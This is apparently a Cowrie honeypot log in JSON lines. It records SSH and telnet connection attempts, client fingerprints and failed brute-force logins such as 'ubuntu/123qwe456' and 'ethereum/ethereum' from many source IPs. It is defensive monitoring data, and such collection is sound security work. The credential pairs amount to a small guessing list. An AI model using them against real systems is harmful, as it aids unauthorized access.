{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.117349Z","src_ip":"159.203.92.129","session":"d46374203f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.122279Z","src_ip":"159.203.92.129","session":"d46374203f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abao","password":"123456","message":"login attempt [abao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.134342Z","src_ip":"159.203.92.129","session":"d46374203f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47944,"dst_ip":"159.203.135.109","dst_port":22,"session":"13234064154c","protocol":"ssh","message":"New connection: 80.94.92.186:47944 (159.203.135.109:22) [session: 13234064154c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.373103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.453544Z","src_ip":"80.94.92.186","session":"13234064154c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.559712Z","src_ip":"80.94.92.186","session":"13234064154c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:17.100447Z","src_ip":"80.94.92.186","session":"13234064154c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:17.140854Z","src_ip":"159.203.92.129","session":"d46374203f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.168.163.76","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"24293711e121","protocol":"telnet","message":"New connection: 204.168.163.76:34230 (10.17.0.5:23) [session: 24293711e121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:17.360346Z"}
{"eventid":"cowrie.session.closed","duration":30.78973412513733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:18.076117Z","src_ip":"204.168.163.76","session":"d56afb42357f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:18.221140Z","src_ip":"80.94.92.186","session":"13234064154c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.201.63.96","src_port":34100,"dst_ip":"10.17.0.5","dst_port":23,"session":"39f740d7dc1e","protocol":"telnet","message":"New connection: 195.201.63.96:34100 (10.17.0.5:23) [session: 39f740d7dc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:19.287114Z"}
{"eventid":"cowrie.session.closed","duration":30.753543853759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:23.053846Z","src_ip":"91.222.173.254","session":"fd628d4a4b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774826049804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:23.504054Z","src_ip":"51.159.104.50","session":"d601767c062e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85670518875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:25.084584Z","src_ip":"195.26.86.129","session":"c17c18f5362c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633928775787354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:27.065804Z","src_ip":"135.181.128.222","session":"bb42f4b43769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720954179763794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:28.061271Z","src_ip":"65.108.130.174","session":"863c40aeddbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873775243759155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:29.114000Z","src_ip":"185.182.82.29","session":"885179a4590a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767682313919067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:30.062394Z","src_ip":"95.111.237.208","session":"e8eb1e56a1f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795918226242065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:31.077231Z","src_ip":"139.162.201.209","session":"d4e1f45c1398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584208250045776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:32.060231Z","src_ip":"139.162.173.115","session":"366c48bfb698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374966382980347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:33.051210Z","src_ip":"136.243.224.250","session":"b2b7d6b5eea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74718737602234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:35.062120Z","src_ip":"75.119.148.9","session":"6a682e817980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697149753570557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:36.049784Z","src_ip":"195.154.54.71","session":"b6c9b8a44a79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.224.10.202","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cd1d38b171","protocol":"telnet","message":"New connection: 20.224.10.202:42136 (10.17.0.5:23) [session: 74cd1d38b171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:36.056521Z"}
{"eventid":"cowrie.session.closed","duration":30.823551893234253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:38.070411Z","src_ip":"185.209.161.246","session":"87ae958a976a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636885166168213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:39.069475Z","src_ip":"213.199.40.97","session":"e400b4c3bdd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":58206,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf3f54b2b4e8","protocol":"ssh","message":"New connection: 103.63.108.25:58206 (159.203.135.109:22) [session: cf3f54b2b4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:40.300391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:40.306457Z","src_ip":"103.63.108.25","session":"cf3f54b2b4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:40.585705Z","src_ip":"103.63.108.25","session":"cf3f54b2b4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:41.744038Z","src_ip":"103.63.108.25","session":"cf3f54b2b4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.601415872573853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:42.068605Z","src_ip":"161.97.79.44","session":"f92b6da6c5e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.121.47.1","src_port":53652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b5c48dd61b9","protocol":"telnet","message":"New connection: 91.121.47.1:53652 (10.17.0.5:23) [session: 3b5c48dd61b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:42.230114Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:43.028041Z","src_ip":"103.63.108.25","session":"cf3f54b2b4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.76.241.23","src_port":60010,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a003038a32f","protocol":"telnet","message":"New connection: 94.76.241.23:60010 (10.17.0.5:23) [session: 6a003038a32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:47.808456Z"}
{"eventid":"cowrie.session.closed","duration":30.721227407455444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:48.081441Z","src_ip":"204.168.163.76","session":"24293711e121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763938903808594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:50.050921Z","src_ip":"195.201.63.96","session":"39f740d7dc1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39508,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93a77f299b4","protocol":"ssh","message":"New connection: 159.203.92.129:39508 (159.203.135.109:22) [session: b93a77f299b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:58.967638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:58.972713Z","src_ip":"159.203.92.129","session":"b93a77f299b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:58.977255Z","src_ip":"159.203.92.129","session":"b93a77f299b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abao","password":"abao","message":"login attempt [abao/abao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:58.988592Z","src_ip":"159.203.92.129","session":"b93a77f299b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.246.68","src_port":44540,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b259bb94ae","protocol":"telnet","message":"New connection: 202.61.246.68:44540 (10.17.0.5:23) [session: 96b259bb94ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:59.311195Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:59.997445Z","src_ip":"159.203.92.129","session":"b93a77f299b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.236.202","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f8e717af33","protocol":"telnet","message":"New connection: 209.38.236.202:53152 (10.17.0.5:23) [session: b2f8e717af33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:00.351844Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.111.229.250","src_port":56096,"dst_ip":"10.17.0.5","dst_port":23,"session":"f763322ec60c","protocol":"telnet","message":"New connection: 95.111.229.250:56096 (10.17.0.5:23) [session: f763322ec60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:02.293936Z"}
{"eventid":"cowrie.session.closed","duration":30.689361095428467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:06.745789Z","src_ip":"20.224.10.202","session":"74cd1d38b171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00201988220215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:07.308210Z","src_ip":"152.59.19.2","session":"370607a1a3d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885300159454346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:13.115317Z","src_ip":"91.121.47.1","session":"3b5c48dd61b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23800563812256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:18.046337Z","src_ip":"94.76.241.23","session":"6a003038a32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746989488601685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:30.058074Z","src_ip":"202.61.246.68","session":"96b259bb94ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747031450271606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:31.098754Z","src_ip":"209.38.236.202","session":"b2f8e717af33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77634596824646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:33.070180Z","src_ip":"95.111.229.250","session":"f763322ec60c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51942,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6be39777ea","protocol":"ssh","message":"New connection: 159.203.92.129:51942 (159.203.135.109:22) [session: fa6be39777ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:43.724693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:43.731319Z","src_ip":"159.203.92.129","session":"fa6be39777ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:43.734913Z","src_ip":"159.203.92.129","session":"fa6be39777ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abao","password":"abao123","message":"login attempt [abao/abao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:43.744406Z","src_ip":"159.203.92.129","session":"fa6be39777ea","protocol":"ssh"}
